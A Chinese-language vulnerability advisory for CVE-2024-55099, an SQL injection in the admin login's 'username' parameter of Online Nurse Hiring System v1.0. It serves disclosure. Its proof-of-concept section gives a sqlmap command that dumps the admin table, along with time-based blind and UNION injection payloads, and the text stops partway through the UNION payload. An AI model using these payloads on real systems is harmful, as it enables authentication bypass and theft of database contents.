CVE-2024-55099-在线护士招聘系统v1.0-SQL注入漏洞

• 漏洞利用作者：ugurkarakoc

厂商主页

• https://phpgurukul.com/online-nurse-hiring-system-using-php-and-mysql

软件链接

• https://phpgurukul.com/?sdm_process_download=1&download_id=17826

概述

• Online-Nurse-Hiring-System-v1.0 对 'username' 参数的输入验证和清理不足，可能导致 SQL 注入攻击，从而允许未经授权访问数据库并危及系统安全。

漏洞详情

• CVE ID: CVE-2024-55099
• 受影响版本：Online-Nurse-Hiring-System-v1.0
• 漏洞文件：/admin/index.php。
• 参数名称：username
• 攻击类型：本地

参考文献：

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-55099
• https://nvd.nist.gov/vuln/detail/CVE-2024-55099

描述

• 对 'username' 参数缺乏适当的输入验证和清理，使攻击者能够构造 SQL 注入查询，绕过身份验证机制并获取对数据库的未经授权访问。

概念验证 (PoC) :

• sqlmap -r r.txt -dbs --level 5 --risk 3 --batch -D onhsdb -T tbladmin --columns --dump

---
参数：username (POST)
    类型：基于时间的盲注
    标题：MySQL >= 5.0.12 AND 基于时间的盲注（查询 SLEEP）
    有效载荷：username=admin' AND (SELECT 3898 FROM (SELECT(SLEEP(5)))CrDy) AND 'rbGV'='rbGV&inputpwd=test&login=

    类型：UNION 查询
    标题：通用 UNION 查询（NULL）- 2 列
    有效载荷：username=-6075' UNION ALL SELECT 68,CONCAT(0x7176706a71,0x7168445671545a434e
---